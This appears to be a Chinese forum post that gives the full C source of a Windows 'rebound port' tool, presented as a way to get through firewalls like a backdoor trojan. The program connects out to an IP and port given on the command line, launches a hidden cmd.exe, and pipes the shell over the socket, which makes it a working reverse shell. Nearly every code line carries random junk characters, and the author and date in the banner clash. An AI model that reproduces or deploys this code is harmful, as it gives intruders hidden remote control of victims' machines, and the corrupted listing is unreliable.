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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。  )$f?v22  
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/* ============================== !~F oy F  
Rebound port in Windows NT S{2;PaK  
By wind,2006/7 8'3&z-  
===============================*/ u&o4? ]6  
#include 4%qmwt*p  
#include X1o R  
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#pragma comment(lib,"wsock32.lib") HES$. a  
U)-aecB!  
void OutputShell(); qgEzK  
SOCKET sClient; r^"sZk#  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ph(LsPT-  
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void main(int argc,char **argv) `l?MmIJ  
{ |8k^jq  
WSADATA stWsaData; F:<+}{Av  
int nRet; >#mKM%T2MJ  
SOCKADDR_IN stSaiClient,stSaiServer; :$yOic}y  
MU] F'6V  
if(argc != 3) /i@.Xg@:  
{ >zJkG9a  
printf("Useage:\n\rRebound DestIP DestPort\n"); RDQ]_wsyKG  
return; zn= pm#L  
} t W   
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WSAStartup(MAKEWORD(2,2),&stWsaData); q2*)e/}H  
]!P6Z?  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); hTby:$aCg  
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stSaiClient.sin_family = AF_INET; G^|b*n!!  
stSaiClient.sin_port = htons(0); zN+jn  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); k"BM1-f  
x?0(K=h,  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 9,Dw;|A]  
{ "k [$euV  
printf("Bind Socket Failed!\n"); 'i3-mZ/|8  
return; {t0!N]'  
} +dq2}gM  
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stSaiServer.sin_family = AF_INET; +ZE"pA^C  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Avljrds+7  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); u5U^}<}y}  
<R2SV=]Sq#  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Bgsi$2hI  
{ !VG ]~lc  
printf("Connect Error!"); xQ?$H?5B<  
return; qIzv|Nte  
} eK3d_bF+  
OutputShell(); 4T)`%Oo<}  
} +['1~5  
n^G[N-\3  
void OutputShell() OaN"6Ge#  
{ ^eRbp?H*T  
char szBuff[1024]; t?weD{O  
SECURITY_ATTRIBUTES stSecurityAttributes; Gh{9nM_\"  
OSVERSIONINFO stOsversionInfo; HPO:aGU   
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 4.kn , s  
STARTUPINFO stStartupInfo; 6_9@s*=d>  
char *szShell; DYZk1  
PROCESS_INFORMATION stProcessInformation; @WKJ7pt`'N  
unsigned long lBytesRead; XL1x8IB  
mv*M2NuhT  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); &;vMJ   
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ESS1 L$y  
stSecurityAttributes.lpSecurityDescriptor = 0; fE>JoQs38  
stSecurityAttributes.bInheritHandle = TRUE; `v/p4/  
eVbT<9k  
URr{J}5  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); !Xq5r8]  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); _t X1z ^  
NPE 4@c_a@  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ?%Pi#%P  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9I1i(0q  
stStartupInfo.wShowWindow = SW_HIDE; u~N'UD1x  
stStartupInfo.hStdInput = hReadPipe; H5gcP11r  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; m{yq.H[X  
=}+xD|T  
GetVersionEx(&stOsversionInfo); PP6gU=9[)  
~>%% kQt  
switch(stOsversionInfo.dwPlatformId) qs (L2'7/  
{ Y1DbBDk  
case 1: 5S7ATr(*  
szShell = "command.com"; N;cSR\Ng  
break; .z,`{-7U  
default: f_.0 uM  
szShell = "cmd.exe"; +5Y;JL<%/  
break; >+[{m<Eq  
} ge{%B~x  
/XuOv(j  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); j  W -K  
clT[ ?8*  
send(sClient,szMsg,77,0); HNX/#?3  
while(1) [hiV #  
{ wr6(C:  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ]vCs9* |B  
if(lBytesRead) J>0RN/38o  
{ qi1#s,  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); o<Rrr,  
send(sClient,szBuff,lBytesRead,0); e= ",58  
} -wnBdL  
else S"Ag7i  
{ #4& <d.aw'  
lBytesRead=recv(sClient,szBuff,1024,0); -D_xA10  
if(lBytesRead<=0) break; |f[:mO   
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); U;U19[]  
} d]^\qeG^p  
} DPlmrN9@=  
_&$nJu  
return; +Jq~39  
}
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